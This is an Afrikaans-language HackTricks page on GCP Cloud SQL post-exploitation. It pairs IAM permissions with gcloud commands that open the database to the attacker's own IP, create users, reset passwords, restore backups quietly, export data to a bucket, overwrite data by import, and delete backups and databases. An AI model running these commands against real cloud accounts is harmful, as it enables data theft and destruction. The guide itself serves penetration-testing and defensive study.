Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md

3.1 KiB

GCP - Cloud SQL Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Cloud SQL

Vir meer inligting oor Cloud SQL, kyk:

{{#ref}} ../gcp-services/gcp-cloud-sql-enum.md {{#endref}}

cloudsql.instances.update, ( cloudsql.instances.get)

Om met die databasisse te verbind, het jy net toegang tot die databasispoort nodig en moet jy die gebruikersnaam en wagwoord weet, daar is geen IAM vereistes nie. So, 'n maklike manier om toegang te verkry, veronderstel dat die databasis 'n publieke IP-adres het, is om die toegelate netwerke op te dateer en jou eie IP-adres toegang te gee.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Dit is ook moontlik om --no-backup te gebruik om die rugsteun van die databasis te onderbreek.

Aangesien dit die vereistes is, is ek nie heeltemal seker waarvoor die toestemmings cloudsql.instances.connect en cloudsql.instances.login is nie. As jy dit weet, stuur 'n PR!

cloudsql.users.list

Kry 'n lys van al die gebruikers van die databasis:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Hierdie toestemming laat toe om nuwe gebruiker binne die databasis te skep:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Hierdie toestemming laat toe om gebruikers binne die databasis te opdateer. Byvoorbeeld, jy kan sy wagwoord verander:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Back-ups mag ou sensitiewe inligting bevat, so dit is interessant om hulle te kontroleer.
Herstel 'n rugsteun binne 'n databasis:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Om dit op 'n meer stil manier te doen, word dit aanbeveel om 'n nuwe SQL-instansie te skep en die data daar te herstel in plaas van in die tans lopende databasisse.

cloudsql.backupRuns.delete

Hierdie toestemming laat toe om rugsteun te verwyder:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Eksporteer 'n databasis na 'n Cloud Storage-bucket sodat jy dit van daar kan toegang.

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Importeer 'n databasis (oorskryf) vanaf 'n Cloud Storage-bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Verwyder 'n databasis van die db-instantie:

gcloud sql databases delete <db-name> --instance <instance-id>

{{#include ../../../banners/hacktricks-training.md}}